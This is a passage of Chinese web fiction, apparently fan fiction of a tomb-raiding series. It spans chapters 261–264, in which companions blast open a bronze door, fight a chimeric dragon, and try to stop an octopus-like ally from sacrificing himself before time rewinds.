几人处理好，紧接着对视，然后便一人扯几人的赶紧往后撤，这个火药量的雷管堆叠在一起，爆炸范围不是一般的大，地面上很快豁出了个大洞，并将整个空间炸的更颤动。 黑瞎子忙把登山绳的钉嵌进砖里，随即整个人便直接顺着落了下去。 众人紧跟其后，跟下水饺似的。 而漆黑一片中，有一个人仍然在迷茫之地摸索，清如跌跌撞撞的往前走，试探性的用手去触碰，但是前方只有一望无际的空间。 直到她骤然听到一声恰似陨落的巨响，顺着那个大致方向看过去，却见到那处散发出了极致的光耀，烛龙的鳞片炸起，而束缚住它的，是在其身下，已经彻底怪物化的衍卜寸。 何罗鱼一般的身躯上，桎梏着红线，意图加强自己的硬度，可清如眸光颤动，更愿意将那些贯彻衍卜寸全身的线条，称作为是刺。 密集的刺，既透支着衍卜寸的生命力，也在损耗着烛龙的伪装，所以，在清如拼命跑过去的时候，就看到了烛龙的鳞片开始因为抵御红线而被迫收敛，龙角脱落，长舌吊颈。 竟在片刻之间，成为了一条没有任何装饰的巨蟒。 “衍卜寸，能撑住吗？！”清如不顾一切的跑到衍卜寸的身边，试图将他从烛龙的身下薅出来。 可掌心触及到的，完全是衍卜寸已经接近冷意的血肉，衍卜寸诡异的保龄球眼睛，转过来看着清如，竟蓦然笑了出来。 而随着这一声轻笑，整个世界就像被点亮了一般，衍卜寸感觉身上的烛龙消失了，包括自己的身体，这是进入彼此的时间长河里，去进行一开始的诞生了。 衍卜寸用最后的力气，抬起触手，叩住了清如的手背，小姑娘的泪不停的往下流，但衍卜寸还是一本正经的命令，“待会儿……看仔细了，我回来的时候，同我说……” “好，我一定看清楚，你保护好自己。”清如一生只爱过两个人，只可惜这些家伙，都在为他人的平安义无反顾的活着。 清如清楚的知道他们的执着，也不奢求什么不属于自己的，只是现下，唯一能够接触衍卜寸的机会，只有这最后一次了。 她不舍的攥紧衍卜寸的触手，上面的吸盘都失去了活力，清如努力压抑着身体颤抖，才让自己的话，从牙关里艰难的挤了出来，“记住，小六姐姐，永远等你这个傻弟弟回家。” “好……”衍卜寸答应着，随后彻底消失。 此时，清如恍惚的从一片血污的骨堆里抬起头，身旁的那些污泞，包括她掌心里所留着的属于衍卜寸的那些血，都变成了飞沙。 而在远处，她能看到茂密的山窝里躺着的，时间线更往前的陨石，它作为烛龙最初的能量，一开始只能同一些普通的生物做交易，所以，它兑换了蛇身、鹿角又随着懂行的盗墓者下了一次海底墓，将何罗鱼的触手幻化成了长舌。 这样拼凑而出的家伙，又在后来将自己称为真正的烛龙，并大肆开始掠夺万物的能量。 直到，它萌生出了想要变成人的想法，可是夺舍之法实在奥妙，它尝试千百年都没能有所结果，然后，它便下定决心，要用神赐去捏造出一个人。 所以，由万物堆砌的另外一个嵌合体，便从中诞生了。 清如几乎是不敢闭眼的盯着，而那水缸中，竟长出了一个小小的章鱼，很可爱，可爱到让清如有些不敢相信，那是未来的衍卜寸。 而外界的张祈灵等人，已经通过一路打钉，直接来到了青铜门面前，清如听到了身后炸门的动静，不敢回头，生怕耽误衍卜寸的任务。 但张祈灵他们用这样粗暴的行为，也完全是下下策，现今没有鬼玺能够供他们开门，而且物质化一个，烛龙现在忙着和衍卜寸斗，也不会给任何的回应。 “这个方法真的有用吗？”霍道夫也在帮忙，只是在第一次爆炸后，没什么效用，所以他只能疑惑不解的看着被凿的只破了皮外伤的门。 黑瞎子气的把雷管安的更多，在爆炸后，又接着用洛阳铲加大力度去砸，“多少都得试试！” “还是里面的人打开比较靠谱，但卜寸他……”吴峫也在用力。 解雨臣摇头，“他既然选择了独自去面对，那就证明，这门他是不会给我们开的。” “逼他一把呢？”胖子用黢黑的手，抹了把脸上的汗，“我就不信这门隔音这么好，咱们身后那些塌陷可是会将我们困死在这里，既然卜寸小同志，选择了让我们活，那就不会让我们去死。” 小哥听着胖子的结论，也有些同意这样的思路，于是道，“情况。” “说。”张祈灵接着把小哥的未尽之言接下来。 意思是把情况同门内的衍卜寸说清楚。 而黑瞎子偏头看着他们，“这么久呆在一块，鬼点子还真是学的多了，怎么？要开始吆喝着让衍卜寸赶紧帮帮我们，然后让他赶紧开门吗？” “在我们生命遭受危机的情况下，他会这么做的。”吴峫很是笃定衍卜寸的品性，然后接着解释起来，“因为正如胖子所说的那样，他一开始的目的，就是想要我们活，那我们不可能在和他仅有一步之遥的地方死，况且，以衍卜寸的信仰……” 所有人的视线，此刻都不由自主的聚焦在张祈灵的身上，而对方发丝下的眸子，正闪烁着不灭的光。 在青铜门的隔绝中，衍卜寸在阴，张祈灵在阳，衍卜寸因张祈灵而坚持到此，张祈灵因衍卜寸而窥探真相。 所以，张祈灵作为他的神明， 他作为张祈灵的信徒…… 在此消彼长的双生下， 衍卜寸是绝不允许张祈灵出现任何意外的。 而吴峫同众人所赌的，就是衍卜寸对于张祈灵的极致忠诚，哪怕这样的方法很卑鄙，他们也要尝试一次。 总不能，真的让衍卜寸独自去面对一切。 第261章 小章鱼 “卜寸，我们现在和你只隔了一扇门，甚至已经是没有了回头路，如果你仍然毅然决然的选择独自面对，那我们也在这里支持你。”吴峫知道这些话，完全是道德绑架了，可是现下没有更多的办法能够逼迫衍卜寸主动去开门了。 胖子也立马紧跟其后，用洛阳铲和黑瞎子不断的开凿，并撩起嗓门劝道，“这几个月的相处，不可能因为你的离开就可以随时抹去！古时候不有那句话吗？不求今年今月今日生，但求今年今月今日死！经历了这么多，都不是一句异姓兄弟能够概括的了！” 现在胖子的脑海里，快速闪烁着衍卜寸同大家，在雨村中的幸福时刻，意图将孤军奋战的衍卜寸给揪到正轨，“我们一起唠过嗑，你还帮我打过下手，我知道，你是真心实意的想要和我们做家人，我也认定了，你是一个很好很好的兄弟！” “而兄弟之间，不应该是这样的结局。”黑瞎子加大了手上的力度，“衍卜寸，你过去用自己的身体，困住了鬼玺，而现在，则用鬼玺困住了这扇青铜门，从一开始你想要独自面对的时候，我就劝不动你，你可以在过去贯彻你的孑然一身，可现在，这里站着的，在你身后的，是我们。” 解雨臣虽然同衍卜寸没有实质性相处多久，但还是坚定立场，“我们不会是累赘，也不会是拖累你的任何因素。” “回家。”张祈灵此刻也开了口。 小哥知道旁边张祈灵的意思，于是也补充道，“一起。” 门内的清如，突然在此时察觉了不对，她的目光专注的看着缸内的小章鱼，对方的触手正不断的往外发散红线，并且以迅雷不及掩耳之势，直接任红线冲破水面，奔向向了门，甚至还将鬼玺颤巍巍的抬了起来，扣紧了机关里。 而原本朴实无华的黯淡青铜门，竟然在发着光，黑瞎子还没来得及后撤，便看到从青铜门顶部所流淌下来的鲜血，那几乎是染红了自己所有的视野，而被血液滋润的门，也在快速的结痂后，又紧接着将外部的所有青色脱落掉。 它露出了其内部的褐红，而上头原本并不明显的，隐藏起来的繁文，也在此时散发出了极致的光耀。 张祈灵看到，总觉得这字里行间的纹路和青铜门变化的样子，一阵眼熟，甚至心里没来由的慌。 可此时此刻，这红铜门也在从一条细小的裂缝，逐渐扩大，门内传来了一声说不清道不明的气息。 众人往里走，直到红铜门骤然在身后关闭，而被红线托举到机关处的鬼玺，也顺势脱落了下来。 张祈灵捡起这开门的保障，却发现自己的身上莫名豁开了无数密集的口子，大家注意到，想让他休息一下，他却摇了摇头，拒绝了这个提议。 而在张祈灵下一刻抬头之际，他见到了尽头之路，一个少女驻足在那里，而她身后，则是一个巨大的鱼缸。 那鱼缸的上沿，伸出了无数肉眼能够清晰看到的红线，力量刚硬，动作却很是细软，柔和的似乎不像是衍卜寸那般坚韧之人，会使用的姿态。 张祈灵同大家步步靠近，直至，面前的女孩骤然转过头，她的脸上有着还未干涸的泪痕，但目光里，全是对众人的熟悉和无所畏惧。 而黑瞎子在与清如对视上后，便明白了什么，他抬起下巴，问道，“这是衍卜寸？他怎么了？” “回到过去了。”清如抚摸着水缸，“这是属于他的因果，我大概清楚他想要做什么了。” “请姑娘明说。”吴峫说这话的时候，很是严肃，他不是一个喜欢听别人打哑谜的人。 清如叹了一口气，“他说是让我见证他的因果，看那个烛龙是怎么把他创造出来的，但他其实清楚对方创造他的目的，并且想要让我实施他的想法。” 说完一大通话后，清如缓和着，连继续往下开拓自己的思维，“烛龙创造出他，是为了得到一个人类的身体，能够让自己更好的穿行于世， 而衍卜寸，就是那个被它创造出的实验品，虽然衍卜寸被夺舍的结果并未实现，但不代表这一次时间线重演，没有成功的可能。 所以，衍卜寸估计是想要赌失败和成功的概率，不过其实哪一个都是一样的，因为他最想要做的，就是利用自己的力量和烛龙自爆，这是最能够和烛龙同归于尽的办法。” 张祈灵听了，眸光颤动，就算他再怎么性子迟钝，也知道面前人所说的那些意思，因为衍卜寸为了彻底阻止烛龙的复生，选择了牺牲自己，彻底扼断一切的发生，就是实打实的蠢笨。 “该消失的不是他。”这是张祈灵鲜少几次，能将话说的这么完整。 胖子也觉得张祈灵说的没错，忙点着头，“对，卜寸小同志，可不能以一换一的方法消失，我们就没有其他方案了吗？” 听此，黑瞎子琢磨了一下，向清如问着，“小孩，那烛龙现在的状态怎么样？” “才与一些动物换了躯壳，能量并未补充。”清如实事求是的说，“我认为，我们可以解决现在的他。” “有几成把握？”解雨臣问道。 清如在心中估量了一下，“五五开，要试一下吗？我们要加快速度，这里的阵眼之前被你们破坏了，所以只能支撑最后半小时的时间。” “不管怎样都要尝试一下。”吴峫攥紧了手中的刀和洛阳铲，甚至有了一副双刀流的架势。 而张祈灵和小哥，还有黑瞎子，以及衍家的衍清如，则敏锐在此刻，突然察觉到了陌生而又熟悉的气息正在袭来。 直到，烛龙的头从空间顶部窜了出来，厚重的鼻息扑下，满满是对其他人打扰它梦乡的不满，可它的眼窝里，却是空空如也。 而众人明白，清如所说的一半把握，就是赌在这个时间线的烛龙，还没有和鄢啸南做交易，所以目前是瞎了眼的状态。 察觉到下方没有动弹迹象的烛龙，疑惑地俯下身，认真的嗅闻着，而水缸里的衍卜寸，则伸出了自己的红线，像是蠕虫那样，以飞一般的速度，纠缠上宿主，这是衍卜寸的本能驱使，才会对危险事物出手。 而就是在红线刺破鳞片皮下组织的那一刻，张祈灵听到了清晰的，烛龙如雷贯耳的咆哮。 但立刻，张祈灵便察觉到了不对，因为衍卜寸还没有恢复完全体，而造成的力量悬殊，竟让烛龙想要直接将衍卜寸这个小章鱼咬死！ 黑瞎子见此，来不及多想，直接借了把哑巴的力气，用手扒在湿滑的鱼缸边沿，腾跃着就翻了上去。 它的鼻息粗重，甚至差点将刚上来好不容易站稳的黑瞎子又给吹下去，而黑瞎子为了让烛龙移开注意力，便立刻欠揍的冲它招了招手， “嗨！孙子，你爹在这儿呢！” 第262章 真心 烛龙瞬间被黑瞎子吸引走了注意力，而小哥和其他人则顺势立即攀了上去，甚至胖子还把矿泉水瓶打开，丢给了小哥。 小哥接住后，显然清楚胖子的意思，他示意吴峫和胖子拉住还处在流血状态的张祈灵，随后，直接跃入了水中。 而黑瞎子在水缸边沿处，蹦的上蹿下跳，直将烛龙往外面引，等对方到平地上后，就到了黑瞎子的主战场，他掏出自己皮衣里揣着的匕首，随即便以飞一般的速度与其周旋起来。 烛龙像是才驯服身体不久的婴孩，只会迷茫的张着嘴，追逐着黑瞎子，而黑瞎子则眼疾手快给它的嘴里来上几刀，几乎是报着断臂的风险去回击。 而现在进入水里的小哥，正被张祈灵专注的看着，小哥将衍卜寸立即装进了水瓶里，然后才像游鱼一样，快速的浮出水面，并在短短半秒中的时间里，将瓶子精准无误的丢到了吴峫的怀里。 瓶身外部湿漉漉的水，还来不及浸润吴峫的手，停留在水缸前的几人，就见小哥卯足劲跳了出来，并且直接用黑金古刀扎进了烛龙的中端身体，既固定着自己不被甩下去，也利用重力给了烛龙一击。 而只有体型优势，尚还未形成完好铠甲鳞片的烛龙，此时便被小哥那一刀凿的，开始像狗一样叫唤，可一张嘴，所面对的就是黑瞎子对它长舌的讨伐，鲜血像是呕吐出来的消化物般，连带着那些要碎不碎的赘肉，跟着噼里啪啦的砸下来。 但或许是那方的声音太大了，竟惹的吴峫手里头的衍卜寸，听到烛龙传来的嘶吼时，也有了些反应。 小章鱼开始不断的顶着瓶壁，叮叮咣咣的厉害，就是想要出来，与其决一死战的意思。 吴峫听到动静后顺势低头，见衍卜寸快要跳出来了，便眼疾手快将瓶口略微堵住了些，他不敢拧上瓶盖，怕氧气不够章鱼化的衍卜寸用，更因为不甚了解，才不敢做的太绝。 而衍卜寸的吸盘，就那么碰在了吴峫的指腹，并发出了响亮的一声啵后，便坠了下去，衍卜寸在水中瘪起了身体，扁扁的样子，连带着绿豆大小的黑色眼球，竟然让人看出了几分不理解的委屈。 “退化了就会孩子气一点儿。”清如体贴的解释了一下，“你们看好他，我也去帮忙。” 话落后，清如便也跑到了烛龙的身边，她没有衍卜寸那般流畅操控红线的技术，但勇气可嘉，这些年来的训练，也让她的反应能力不是一般的强。 烛龙被三个人暴打，而解雨臣还有胖子在互相对视后，也加入了其中。 被安置在原地待命的张祈灵和才病好不久的吴峫呆在一块，一人拿鬼玺，一人抱水瓶，前者控制着出入，而后者保护着衍卜寸的安全，可这不代表他们的停歇，是一种对现今情况的不作为。 张祈灵的注意力在衍卜寸和烛龙那边来回游走，而察觉到自己被短暂注视过的小章鱼，竟然奇妙的没有再发出任何的声音了，他乖巧地扒在水瓶的内壁上，像陷入了花痴状态一般，安静地看着张祈灵。 他小小的眼睛不会眨动，而张祈灵此刻在观察战况，并没有向他投来新的目光，但小章鱼并不恼。 小哥那边已经利用烛龙的鳞片，给自己掌心来了一道口子，随即，血液顺着柄部划过刀面，蒸腾起麒麟火的黑金古刀，被小哥加大力度的死死绞进烛龙的体内。 不同于人的五脏六腑，从中被碳烤和流出体外的，都是些难以分辨的褐色物质，还带有强烈的刺激性气味。 可小哥就像是嗅闻不到似的，只专注于加大自己的力度，烛龙吃痛，不肯再给黑瞎子和小哥机会，一个甩尾和扭头，便想将他们都扇出去。 可谁知道，就在尾巴抬起来的瞬间，便被胖子的身躯和洛阳铲扑击，像是钢钉一样贯穿了鳞片与血肉，将其直接敲在了地上。 “愣着干什么？孙子，你的对手是你爷爷我。”黑瞎子直接眼疾手快踏着烛龙的鼻子，便爬到了龙头上，并掰着那两根粗大的角，死命的往下用匕首砍着。 但一刀刀下去，黑瞎子就开始啧起来了，“你这是假龙吧？怎么还长鹿茸？” 前面在门里，他们所见过的，是经历过几番进化的烛龙，而现在这个，则可以算是幼年体，自然而然，从前未展示出来的弊端，此刻便变得清晰可见了。 黑瞎子不断用匕首刺着，而解雨臣转战到了黑瞎子原先的位置，用龙纹棍不断的敲断了烛龙的牙，提早做好防范，就算是被咬到，也能减少一些伤害。 而被如此围剿的烛龙，精气神却很足，虽然它一直在嘶吼和呜咽，却怎么也没倒下，生命力旺盛的可怕。 察觉到又是持久战的张祈灵往前走了一步，而吴峫却拉住了他的衣角，并突然看到延迟出现在张祈灵身上的，属于衍卜寸的外套。 “祈灵，你要好好休息，不能再出手了。”吴峫劝道。 但张祈灵感受着肩上分量，却将目光移向了衍卜寸，此时此刻，吴峫手中的水瓶竟然破开了一个洞，小章鱼飞速的向着自己这一方爬来，并在其脸颊流氓般的嘬了一口。 等张祈灵反应过来的时候，才触碰上那一小圈牙印，而衍卜寸已经吞下了张祈灵的一点点血，并附在张祈灵的身上，将躯壳不断的膨胀，直至成为了一个保龄球的大小，才将吸盘脱离开，坠在了地上。 “叭卟！”小章鱼抬起自己的触手，在地上写了一串字。 等张祈灵在看清后，想要将衍卜寸抓住，可它却蹦跳着窜了出去，像是玩打水仗的水球一样，在短短几秒钟内，就撞上了烛龙的外壳。 吴峫被张祈灵挡住了片刻，于是只能错身上前，疑惑地看着地面上衍卜寸所留下的字眼。 “以我径寸心，从君千里外……” 吴峫念了出来，却感觉大事不妙。 这显然是衍卜寸的告白或者是离行的信号，而张祈灵虽然一知半解，但也不是蠢的，他迅速将鬼玺抛给了吴峫，随后单手攥紧了自己身上的外套，另一只手将腰上的软刃抽了出来。 鲜血因为他骤然出现的动作，而不断的下落，他所经过的地面，更是灼烧出了一片又一片的烙印。 下一刻，张祈灵挥刀，迫使吴峫停住脚步。 吴峫被包绕在张祈灵所规划的安全地带，无措的不知该前进还是后退，他只能再次低头看着地面上衍卜寸所留下的水痕。 而那一行堪称绝唱的文字， 竟在极致灿烂的火焰中， 仍然清晰可见。 吴峫清楚，这是张祈灵凭借着本能保护了自己，亦护住了连他自己都不知道的， 一颗来自于衍卜寸的真心。 第263章 时间回退 “拦住他！”张祈灵直接冲居于龙头黑瞎子命令道。 而黑瞎子低头，才看到了那个小团子一样的衍卜寸，正拼命的想要从烛龙的鳞片下钻入其体内。 黑瞎子赶紧拽着他的小触手，将其赶紧拎了起来，衍卜寸挣扎的厉害，甚至发了狠劲，直接咬向了黑瞎子的手心，钻心的疼没能让黑瞎子放手，反而是更加清楚衍卜寸的目的了。 “徒儿，你怎么看的章鱼！他妈的，他要寻死！”黑瞎子不知吴峫的情况，所以才气的骂出声，可扭过头，就见吴峫那处，简直可以用孙悟空给唐僧画出来的圈，来形容这场面。 火焰包绕在吴峫的周围，是在保护他，亦是在逼迫他退却，他仓皇的站在中心，而张祈灵所经过的地方，全部都被烫出了一个又一个的痕迹。 张祈灵的伤口流着血，顺着臂膀而下的时候，便将刀上卷着麒麟火激的愈演愈烈。 “我他妈的！一个两个都是疯子！”黑瞎子因为一只手被衍卜寸所控制住，另一只手没办法完全的按住烛龙的头，使得烛龙在片刻的时间里，直接冲着对面撑开他嘴的解雨臣就去了。 黑瞎子没空再说话了，他赶紧将衍卜寸甩给受着烛龙尾巴的胖子和霍道夫等人，也不管是谁能接住，而张祈灵的视线确认衍卜寸落在了胖子的手里后，便扒着烛龙的鳞片，用软刃插进其中，不断的朝着它的身上爬着。 小哥的麒麟火也旺盛的很，并且火势已经将烛龙中段的身躯烤的开始炸鳞，酥脆到几乎是一掰就断的程度。 “花儿，撑得住吗？”黑瞎子将匕首凿进烛龙的七寸里，另一只手扒着它的鼻孔，将自己的身体保持稳定后，也让它无法闭合起嘴来。 解雨臣往后退了好几步，幸亏这里的空间大的惊人，竟一直都没有到尽头，见黑瞎子控制住了烛龙的嘴部，他便将龙纹棍的上下端，竖着卡在了它的牙关，并提出了一个可行的建议，“能撑住，这东西的外部坚硬，要不要试试把火喂进它嘴里？” 听到这话的张祈灵和小哥瞬间窜到了解雨臣的位置，两柄刀几乎是以飞一般的速度的插到了烛龙的嘴里，它连长舌都未伸展开来，便被几乎焯烫到燎原一切的麒麟火堵住了喉咙。 侵入体内的火焰，与它体内的气息所作出反应，让它连鼻孔吐息时，竟都带了些漆黑的烟。 胖子在尾端处，抱着衍卜寸，本以为等张祈灵和小哥的一把火烧完，便能从内部解决这个大家伙了，结果，他却发现手中的小章鱼，仍然在不安的蹿动。 但估计是知道胖子对自己没威胁，他并没有像咬黑瞎子那样毫不犹豫地下口，而是从胖子的指缝中，借由动物柔软的身体慢慢滑动。 胖子手忙脚乱的想要拢紧双手，可这正合了衍卜寸的意，因为这样的挤压动作，竟让他瞬间滑溜溜落在了烛龙的长鳞上。 衍卜寸像个跳动的小弹簧，可从中发出的声音却是巨大的，“叭卟们来到这里，消耗了雷管！烛龙需要粉碎性的打击，才会死亡，叭卟和你们说，火焰没用，火药才可以！但叭卟比那些东西更强！” 大家都理解衍卜寸所说的话，可牺牲他来换取所谓的烛龙死亡，真的不值得。 “卜寸小章鱼，咱听话昂！”胖子笨拙的翻到烛龙的身上，不断的朝着衍卜寸的方向爬着，“小哥和大家会解决它的，一定可以，我们是家人，相信我们好吗？” 连黑瞎子也不管三七二十一的，就想将再次移动的衍卜寸踢飞下去，可小章鱼的灵活度超脱想象，胖乎乎但小小的身躯和触手，竟给了他非一般的速度。 “衍卜寸，你他妈根本就不知道杀烛龙的方法！”黑瞎子说着，伸手要拿走卡住的龙纹棍的前一刻，连还在烛龙嘴里的火焰都不管了。 而张祈灵和小哥还有解雨臣，直接将烛龙的嘴强行合了起来，棍身刺破了它的上下颚，但衍卜寸却以非人一样的力量，用不断从身体里，扩散出来的红线，重新撑开了一条缝隙，想要进入烛龙的身体。 解雨臣不断的压着烛龙的嘴，疑惑地问着黑瞎子，“什么叫他根本不知道杀烛龙的方法？如果不是衍卜寸带我们来到这里，我们估计连烛龙长什么样都不知道。” “那是因为他开挂了，但前面是合理的选择，后面全都是在拿命去赌！”黑瞎子利索的将自己的想法快速的说出来，生怕不尽快戳穿衍卜寸的伪装，便会让这人真的带着一切的真相走入坟墓似的。 “他说什么，杀烛龙的各种方法是在衍光善那里看见的，可我们从始至终，都没见过那本书不是吗？”黑瞎子俯下身，在匕首加深进烛龙七寸处的同时，也在用全身的重量，压迫着烛龙低头，防止它的嘴张开，给衍卜寸可乘之机。 “衍卜寸分离着打，连那些冷武器都打不过，合体着打，也只能把我们送出去，自己留在那里，他与烛龙正面相斗，得到的只有无休止的纠缠！所以，他才会得出，想要杀掉烛龙，就必须同归于尽的想法，包括他从来这里之前，都是这么想的！” 听此，张祈灵的眸光暗了几分。 而小章鱼形态的衍卜寸惶恐的睁着它已经开始泛出红色奇异光泽的眼睛，“不是，叭卟没有这么想！阿祈，信叭卟，叭卟没有！” 现在一旁的清如也加入了剖析衍卜寸的队伍中，她最是知道衍卜寸怕谁，也更清楚，谁最能治衍卜寸。 于是，她像刀子一样，将衍卜寸过去伪装的全知视角，毫不犹豫的剥开，“我在衍家基地里，没有见过衍光善留下关于屠龙的书籍。” 张祈灵这下是明白了，衍卜寸他就是在赌，赌各种各样的方法，究竟对烛龙起多少的效果。 连这样的自爆，都可能是他的最后底牌，因为他清楚，自己唯一能与这个怪物抗衡的，就只有自己的全部力量。 更是因为衍卜寸清楚，如果想要不连累任何人，自己死亡就是最好的结果，反正，大家出了门也会忘记，等门后的空间坍塌，力量彻底枯竭，他便不需要有人再替他犯险了。 “好算盘。”张祈灵第一次学会了对待谎言，而产生意料之外的情绪。 他看着那个害怕被苛责的衍卜寸，仍旧在注意自己反应的同时，还颤抖着用那小小的身躯，不断的试图扒开烛龙的嘴。 张祈灵不知道自己刚才说的话，是不是嘲讽，也不知道自己是否需要作为一个合理的长辈，来去批判衍卜寸的行为。 他可以是衍卜寸的神明，可却并不是真被神化的存在。 他悟不懂衍卜寸的心，但他明白衍卜寸所谓奉献自己，保护他人的决心，因为自己也曾做过。 “不能再耽误时间了！”清如在心中估算了一下，“这里快要塌了！都出去，如果这里支撑不住，或许也能让烛龙因为没有生存空间而死！” 此时，张祈灵无法对衍卜寸有过多苛责的时间了，于是，他快速朝着衍卜寸伸出手，并在抓住对方的那一刻，和其他人一起奔向了红铜门，没再跟伤痕累累的烛龙消耗时间。 可当吴峫将鬼玺按上去，门开启之际，张祈灵却听到了周传来刺耳的空间碎裂声。 他回头，看着那些不同时空堆积而成的时间之门，也在同时敞开。 以欺骗为代价的不甘亡魂，开始一鼓作气的扑向烛龙，啃食它的身体。 也就是这愣神的一瞬间，张祈灵的眼前骤然一黑，被一股力量牵引，往后倒着，吴峫伸手没能抓住他的指尖，而铜门也骤然合拢。 连张祈灵怀里那个冰冷的小章鱼，也发出了最后一声疑惑地叭卟后，便消失了。 张祈灵好不容易站稳，才发现，所有物质化的生物，似乎都回到了一切的起点，但却不是死亡，而是意料之外的意外。 无数献祭生命，而得到的物质化之物的人，都没有消失，反而是在不断餐食远处烛龙的血肉，并且，烛龙体内储存的力量，也被平摊给了每一个生命体。 张祈灵于时间混乱的长河里迷茫的站定，看着没有被自己和同伴杀死的烛龙，因为神赐交易，而得到了被报复的结局。 随后，他便开始寻找衍卜寸，那些断胳膊断腿，有的没内脏没骨头的亡魂变得实体化，像是匆匆的路人一般，擦过张祈灵的肩膀，他不在意的往前走着。 可这些被欺骗的家伙太多了，有的赶到烛龙那里，甚至一块肉都没吃到，甚至着急奔跑的过程中，还撞了自己好几下。 “衍卜寸……”张祈灵没时间看他们，只能不断念着衍卜寸的名字，错着人群往前走。 毕竟衍卜寸是家人，是很重要的家人。 但不断坍塌往下落碎片的空间里，却只有亡魂们饥饿的吞咽声。 张祈灵继续向前，却发现自己的身上不疼了，那些积年累月的伤痕正在迅速消失，空气里所坠下的血，像是倒回的雨一样，从地面上飞起来，重新融入了自己的身体。 他径直走着，而大路尽头，赫然站着一位少女。 张祈灵站定，疑惑地看着那位姑娘漂亮的脸皮，正像溃烂般不断的脱落，直至五官眉梢都恢复到平庸后，他大概猜到，这才是清如真正的模样。 而女孩怔愣片刻后，便无措的捂住了脸，且在错愕之间，带有些许惊诧，疑惑地叫着自己的名字。 “张祈灵！” 此时此刻，出了“门”的吴峫骤然喊出了声，他感受到大脑的强烈钝痛，却发现自己坐在了一列疾驰的火车上，而旁边的胖子显然也很懵。 吴峫赶紧抬头，看着火车上轮转的车程起始点以及终点，而上面的目的地，赫然是长白山。 同时，他身侧的胖子也回了神，并赶紧翻开自己的手机，上面的时间，是当初小哥第一次去守门，他和吴峫找来的时候。 “我他妈不是做梦吧！”胖子爆了粗口，但因为这两人一前一后的声音太大，惹的乘客们一阵侧目，只觉得他们是神经病。 胖子赶紧捂住了嘴，压低了声音，“天真，这是回到最开始了是吗？” “应该是，胖子，你没忘记什么吧？”吴峫神色严肃，贴近胖子的耳朵说，“这一次我们记得一切，是没消除记忆的，估计是因为门后坍塌了，能量不足以对门外的人动手……” “所以不是做梦，是真的回到了和祈灵小兄弟认识之前的时候？！”胖子说完，为了验证真相似的，赶紧拧了一把自己大腿，痛的面部扭曲起来，“疼疼疼！是真的，保真！” 而就在吴峫和胖子讨论的时间，解雨臣的电话也打了过来，“你们在哪里？我出了门后，竟然回到谢家了。” “是时间回退。”吴峫只能总结出这些，但刚说完，自己手机便又来了一通电话，可惜自己与解雨臣通话占线，对方没办法打过来。 于是，下一刻胖子的手机响了，接起来后，是黑瞎子的声音，“我已经在长白山了，刚去确认了一下，鄢啸南那个老头不在古董店，我不清楚是衍家人消失了，还只是咱们把鄢啸南的过去解决了，才见不到他，但应该不是做过交易的人消失，因为吴峫你还在对吧？” “对，我在的。”吴峫两头应着话，“小花，你那边带人尽快订机票来长白山吧，我们得去找张祈灵和衍卜寸。” 胖子也搭着话，“他们有可能在那个裂谷底的墓里，得去确认看看，麻烦花爷多带些装备过来了。” “好。”解雨臣答应着，并且已经在给手下布置任务，开始收拾东西了。 第264章 漂亮艳色 等几人撂下电话后，吴峫又确认了一下霍道夫那边，得知对方这个时间段还在帮陈金水处理九门的事务，便没去打扰。 而黑瞎子，则在通讯结束后，立刻提着尚且完好无损的二胡，去了当初遇见张祈灵的那条小巷里，可惜他拉了半天，来投钱的热心肠和看戏的路人倒是不少，但就是看不到张祈灵的身影。 黑瞎子在心里萌生出了一个可怕的直觉，也许张祈灵根本就没能出来…… 可他很快又甩掉脑子里的这个猜测，毕竟，衍卜寸绝不会带着张祈灵死，那个家伙，不可能让自己所信奉的神明有任何的危险，哪怕他自己付出生命，都不会让张祈灵断一根头发。 而门内空间的情况，恰恰就是黑瞎子所想的那样，张祈灵全须全尾的站着，刚想要询问清如是都知道衍卜寸的动向，却被对方看出意图，而堵住了所有梗在喉咙里的话。 “你是想问衍卜寸对吧，他在的。”清如伸出手，指了指张祈灵的身后。 而原本静悄悄跟随其后的红线，快速在短短一秒钟收敛住，等到张祈灵回头的时候，便见到一颗细小的红玉珠，自然的滚轮到了自己的脚边。 张祈灵蹲下，将其拿了起来，他看着这枚玉珠，发现这东西并不会像何罗鱼的卵一样，散发出那种令人不安的电流刺激感。 这家伙温吞的热度，更像是在熨平自己心中的不安。 而在光线充足的空间里，张祈灵转而将红玉珠放到了眼前，近距离观察着，圆润的球体中，竟然游逸着一颗小豆粒，没有任何的触手，也没有眼睛，可张祈灵的直觉在告诉自己，这就是衍卜寸，是比何罗鱼幼崽时期前，还未孵化的状态。 “衍卜寸。”张祈灵唤着他的名字，意图让对方能够有点反应。 要是卵是死胎，那张祈灵真的会因为迟钝发现衍卜寸这件事，愧疚到死的。 可大抵衍卜寸很了解张祈灵的品性，于是在下一刻，他很快使贯彻在红玉珠内部的那些红纤丝动了起来，并发出了很耀眼的光亮，像是要以此证明自己生命力的顽强。 张祈灵知道这是对方给的回应，随后，他便将软刃缠回了腰间，然后把衍卜寸妥善的捧在了手里，紧接着才抬起头，去问清如现在的情况，“出去。” 这半语的意思是，我们该怎么出去。 清如的视线从周围转了一圈后，才回答道，“估计我们不是被封住了，而是要等到那只烛龙死后，最后的力量耗光，才能使门内的世界崩塌，然后我们再趁乱出去。” 但就在她解释完后，烛龙那边便传来了狼吞虎咽的生食动静，被麒麟火烤过的鳞片，像是薯片一样酥脆，而其中还未成熟的血肉，被这些亡魂当成了天赐一般的佳肴，混合着腐败的气息，却仍然吃的格外起劲。 甚至，张祈灵顺着清如的视线看过去以后，还能见到那帮亡魂为了争抢这份珍馐，而将彼此拆吃入腹，血液不断的流淌，灵魂所带来的黑色介质里，混杂着他们作为人时的庞大欲望…… 如果说烛龙是自食其果，那他们这帮家伙也不无辜。 能够与烛龙做出神赐交易的家伙，个顶个都不是完全的好人，正如鄢啸南为救鄢然，而在之后搭上更多的人命，还有很多张祈灵未看过，或不了解的事物……可恰恰正是现在的利益相争，人类根深蒂固的封建思想，让他们原本被仇恨所尘封的欲望，重新升腾而起。 为首的男人的魂体，还挂着金银细软，将整个缀的像是黄金铜像，他用身上的链条抽打着那些争抢上一口肉的同类，然后便伸出自己长出锐利长甲的手，生生的剖腹，将对方的血肉脾脏，连同被他们人群骚动，戏称为长生不老秘诀的烛龙肉一并的吞下。 张祈灵只觉得，人心是比怪物，还要更加可怕的存在。 而那旁的男人察觉到张祈灵和清如的视线，也只是咧开他塞满血污的大嘴，扯出了一个僵硬的，说不清是多好看的笑容。 